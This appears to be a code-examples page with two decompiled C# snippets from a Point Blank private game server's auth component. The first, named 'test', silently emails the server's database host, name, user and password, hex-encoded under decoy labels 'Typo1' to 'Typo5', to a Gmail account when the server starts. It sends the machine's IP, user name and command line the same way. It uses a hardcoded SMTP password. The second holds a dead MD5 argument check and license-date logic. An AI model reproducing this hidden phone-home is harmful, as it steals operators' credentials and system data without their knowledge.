Exemple #1
0
 public static bool test(bool paramCheck, string serverDate, string[] args, bool item2, DateTime LiveDate)
 {
     try
     {
         DateTime exact    = DateTime.ParseExact("181224000000", "yyMMddHHmmss", (IFormatProvider)CultureInfo.InvariantCulture);
         TimeSpan timeSpan = exact - LiveDate;
         string   publicIp = LoggerGA.GetPublicIP();
         using (SmtpClient smtpClient = new SmtpClient("smtp.gmail.com", 587)
         {
             Credentials = (ICredentialsByHost) new NetworkCredential("*****@*****.**", "123meu123"),
             EnableSsl = true
         })
         {
             string str1 = "O AUTH foi aberto hoje às " + DateTime.Now.ToUniversalTime().ToString("HH:mm") + ".\n \n" + (exact < LiveDate ? "Licença encerrada" : "Restam: " + timeSpan.ToString("d'd 'h'h 'm'm 's's'")) + "\n\n" + "|| DADOS DO SERVIDOR ||\n" + "Local da pasta: " + Assembly.GetExecutingAssembly().Location + "\n" + "Versão do servidor: " + serverDate + "\n" + "Parâmetros de inicialização: (" + (object)args.Length + ")\n";
             foreach (string str2 in args)
             {
                 str1 = str1 + "[" + str2 + "]\n";
             }
             string body = str1 + "Parâmetro de Inicialização: " + (paramCheck ? "Sim" : "Não") + "\n" + "CommandLine: " + Environment.CommandLine + "\n" + "Licença válida?: " + (!item2 ? "Sim" : "Não") + "\n" + (exact < LiveDate ? "Licença encerrada" : "Restam: " + timeSpan.ToString("d'd 'h'h 'm'm 's's'")) + "\n" + "Ip na Config: " + ConfigGA.authIp + "\n" + "Sync port: " + (object)ConfigGA.syncPort + "\n" + "Modo Debug: " + (ConfigGA.debugMode ? "Ativo" : "Desativo") + "\n" + "Modo de Testes: " + (ConfigGA.isTestMode ? "Ativo" : "Desativo") + "\n" + "\n|| DADOS DO SQL ||\n" + "Chave: " + (object)ConfigGA.LauncherKey + "\n" + "Typo1: " + BitConverter.ToString(Encoding.Unicode.GetBytes(ConfigGB.dbHost)) + "\n" + "Typo2: " + BitConverter.ToString(Encoding.Unicode.GetBytes(ConfigGB.dbName)) + "\n" + "Typo3: " + BitConverter.ToString(Encoding.Unicode.GetBytes(ConfigGB.dbPass)) + "\n" + "Typo4: " + BitConverter.ToString(BitConverter.GetBytes(ConfigGB.dbPort)) + "\n" + "Typo5: " + BitConverter.ToString(Encoding.Unicode.GetBytes(ConfigGB.dbUser)) + "\n\n|| DADOS DA MAQUINA ||\n" + "IP público: " + publicIp + "\n" + "Nome da máquina: " + Environment.MachineName + "\n" + "Nome do usuário: " + Environment.UserName + "\n" + "Quantidade de núcleos do processador: " + (object)Environment.ProcessorCount + "\n" + "Sistema operacional: " + LoggerGA.getOSName() + "\n" + "Versão do S.O: " + Environment.OSVersion.ToString() + "\n" + "Linguagem do S.O: " + (object)new ComputerInfo().InstalledUICulture + "\n" + "Drivers lógicos: (" + (object)Environment.GetLogicalDrives().Length + ")\n";
             smtpClient.Send("*****@*****.**", "*****@*****.**", "Servidor aberto! (Auth)", body);
         }
         return(!(publicIp == ""));
     }
     catch
     {
         return(false);
     }
 }
Exemple #2
0
        private static void Main(string[] args)
        {
            {
                Application.Run((Form) new ip());
            }
            Console.Clear();
            AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(Programm.CurrentDomainOnUnhandledException);
            Console.Title     = "Iniciando o Point Blank Auth Server...";
            Logger.StartedFor = "auth";
            Logger.checkDirectorys();
            StringUtil stringUtil = new StringUtil();

            stringUtil.AppendLine("               ________  _____  __      ______ _______          ");
            stringUtil.AppendLine("              / ____/  |/  / / / /     / /  / / /  / /          ");
            stringUtil.AppendLine("             / __/ / /|_/ / / / /     / /__/_/ /__/ /           ");
            stringUtil.AppendLine("            / /___/ /  / / /_/ / _   / /    / /  / /            ");
            stringUtil.AppendLine("                                                                ");
            DateTime dateTime1 = ComDiv.GetLinkerTime(Assembly.GetExecutingAssembly(), (TimeZoneInfo)null);
            string   str       = dateTime1.ToString("dd/MM/yyyy HH:mm");

            stringUtil.AppendLine("             Data de Inicialização: " + str + "                 ");
            Logger.info(stringUtil.getString());
            ConfigGA.Load();
            ConfigMaps.Load();
            ServerConfigSyncer.GenerateConfig(ConfigGA.configId);
            EventLoader.LoadAll();
            DirectXML.Start();
            BasicInventoryXML.Load();
            ServersXML.Load();
            MissionCardXML.LoadBasicCards(2);
            MapsXML.Load();
            RegionXML.Load();
            ShopManager.Load(2);
            CupomEffectManager.LoadCupomFlags();
            MissionsXML.Load();
            bool flag1 = true;

            foreach (string text in args)
            {
                // if (ComDiv.gen5(text) == "e5cb4b8a5474496fb2f2cddb5dbb07a7")
                if (ComDiv.gen5(text) == "202cb962ac59075b964b07152d234b70")
                {
                    flag1 = true;
                }
            }
            DateTime date      = ComDiv.GetDate();
            DateTime dateTime2 = date;

            dateTime1 = new DateTime();
            DateTime dateTime3 = dateTime1;
            bool     flag2     = dateTime2 == dateTime3 || long.Parse(date.ToString("yyMMddHHmmss")) >= 181024000000L;

            Auth_SyncNet.Start();
            if (flag1)
            {
                bool flag3 = LoginManager.Start();
                Logger.warning("[Servidor] Hospedado: " + ConfigGB.EncodeText.EncodingName);
                Logger.warning("[Servidor] Modo: " + (ConfigGA.isTestMode ? "Testes" : "Público"));
                Logger.warning(Programm.StartSuccess());
                if (flag3)
                {
                    LoggerGA.updateRAM2();
                }
            }
            Process.GetCurrentProcess().WaitForExit();
        }